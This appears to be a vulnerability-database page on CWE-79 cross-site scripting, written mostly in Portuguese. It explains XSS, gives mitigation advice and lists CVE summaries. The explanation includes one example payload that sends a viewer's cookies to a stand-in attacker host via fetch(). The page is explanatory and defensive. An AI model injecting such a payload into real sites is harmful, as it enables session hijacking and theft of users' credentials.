Fallos del tipo CWE-79

28.989 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4097HIGHCost Calculator Builder Pro <= 3.1.67 - Unauthenticated Cross-Site Scripting via SVG UploadEPSS 0.6%CVE-2024-23186MEDIUME-Mail containing malicious display-name information could trigger client-side script execution when using specific mobile devices. AttackerEPSS 0.6%CVE-2024-32326MEDIUMTOTOLINK EX200 V4.0.3c.7646_B20201211 contains a Cross-site scripting (XSS) vulnerability through the key parameter in the setWiFiExtenderCoEPSS 0.6%CVE-2026-58228MEDIUMScheme validation bypass in Phoenix.LiveView.Utils leads to XSS via <.link>EPSS 0.6%CVE-2024-6585MEDIUMMultiple stored cross-site scripting (“XSS”) vulnerabilities in the markdown dashboard and dashboard comment functionality of Lightdash versEPSS 0.6%CVE-2022-36378MEDIUMWordPress Floating Div plugin <= 3.0 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-2279HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.6%CVE-2026-73374MEDIUMStored Cross-Site Scripting (XSS) via Unescaped CNA Reference Tags in vulnerability-lookupEPSS 0.6%CVE-2024-1010LOWSourceCodester Employee Management System edit-profile.php cross site scriptingEPSS 0.6%CVE-2023-0708MEDIUMMetform Elementor Contact Form Builder <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via mf_first_name shortcodeEPSS 0.6%CVE-2022-35882MEDIUMWordPress GS Testimonial Slider plugin <= 1.9.5 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2026-73427LOWTrix: XSS via JSON deserialization bypass in drag-and-drop (Level0InputController)EPSS 0.6%CVE-2024-32463HIGHphlex makes Cross-site Scripting (XSS) possible due to improper sanitisation of `href` attributes on `<a>` tagsEPSS 0.6%CVE-2024-10877MEDIUMAFI – The Easiest Integration Plugin <= 1.92.0 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2023-28850MEDIUMPimcore Perspective Editor vulnerable to Cross-site Scripting in perspective nameEPSS 0.6%CVE-2023-0112HIGHCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.6%CVE-2023-47125MEDIUMBy-passing Cross-Site Scripting Protection in HTML SanitizerEPSS 0.6%CVE-2022-39277MEDIUMCross-Site Scripting (XSS) in external links in GLPIEPSS 0.6%CVE-2024-4074LOWKashipara Online Furniture Shopping Ecommerce Website prodInfo.php cross site scriptingEPSS 0.6%CVE-2024-1787MEDIUMContests by Rewards Fuel <= 2.0.64 - Authenticated (Contributor+) Stored Cross-Site Scripting via update_rewards_fuel_api_keyEPSS 0.6%